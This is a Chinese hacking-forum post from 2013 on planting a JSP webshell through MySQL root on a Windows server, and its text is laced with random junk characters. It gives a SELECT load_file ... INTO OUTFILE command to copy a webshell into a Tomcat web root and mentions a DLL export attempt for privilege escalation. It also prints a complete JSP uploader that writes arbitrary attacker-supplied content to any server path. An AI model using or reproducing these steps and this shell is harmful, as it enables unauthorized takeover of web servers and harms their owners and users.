中国网络渗透测试联盟

标题: 解决Win下MySQL root导出Webshell换行符问题 [打印本页]

作者: admin    时间: 2013-3-8 21:52
标题: 解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。& h+ n. I9 Z6 I6 |$ V; F

2 R0 A* z! h. K( D. o首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
# X3 T  X; g. x5 R- w8 i+ e安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
; v4 |0 p) b2 i! e/ X& M" k' ]/ p. x提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
$ A, _7 F8 N) ]! E6 k3 ?& \1 show variables like '%plugin%';: G1 L' K, _$ J, g
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功, I& A0 k6 N2 S3 p0 [
创建自定义函数似乎被拦截,一直失败。. ~+ x2 w: b" C  Q+ D7 P
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限. k  v$ g/ J4 a" z$ J# |1 g
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp& N8 G9 G- }9 K" y! U' f
用mysql执行语句:
: ]  `3 t: X+ i2 U9 }1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
2 o% z  A* I4 @$ x) I( {2 复制代码
: P% L9 `/ A. _7 v3 w后成功。- B7 P5 _4 C8 g7 k% N/ z
但是访问后得到如下提示:
4 S) C& k* T7 b, N+ V​500页面5 j+ u, M9 B2 j( x

" L' P: d6 M4 M$ f- Y2 A; a  R. ~3 E! M6 V# [2 ~( [
明显是MySQL的Win下版本自动添加转义符\n\r了) }2 i3 U# [* [) i
这样导致程序运行的悲剧。
) k! v# M/ U6 f2 z. }4 N从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。# D5 O0 R5 e; c  i! ?% _9 j3 ?4 Z8 U
最后弄了这么个小脚本:
, w# H+ N# F: k0 r# s01 <%@ page language="java" pageEncoding="gbk"%>& f0 {# {( p* t8 v! H
02 <jsp:directive.page import="java.io.File"/>
6 B1 `% J, Q" k+ d# o* u( l6 L/ l0 v03 <jsp:directive.page import="java.io.OutputStream"/>
( l3 ~# [; @/ b. S# q5 L04 <jsp:directive.page import="java.io.FileOutputStream"/>4 b% ?9 y6 ?3 ]& t- C
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>4 r# l" J: Y5 c1 f
06 error www.2cto.com
; r7 y4 U0 j2 ~: U) N07 <%}}if(i==0){%>2 C6 C( r& J; c  U) c# i, t
08 ok5 ~+ b1 P: }6 z% L9 X- Q
09 <%}%>- X( g# k7 d# l& R- b) K
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">2 X: A$ C. v3 M9 R, t
就可以避免转义符让JSP的马儿运行500错误了。; {' E) @( B, s: R' h( ^





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2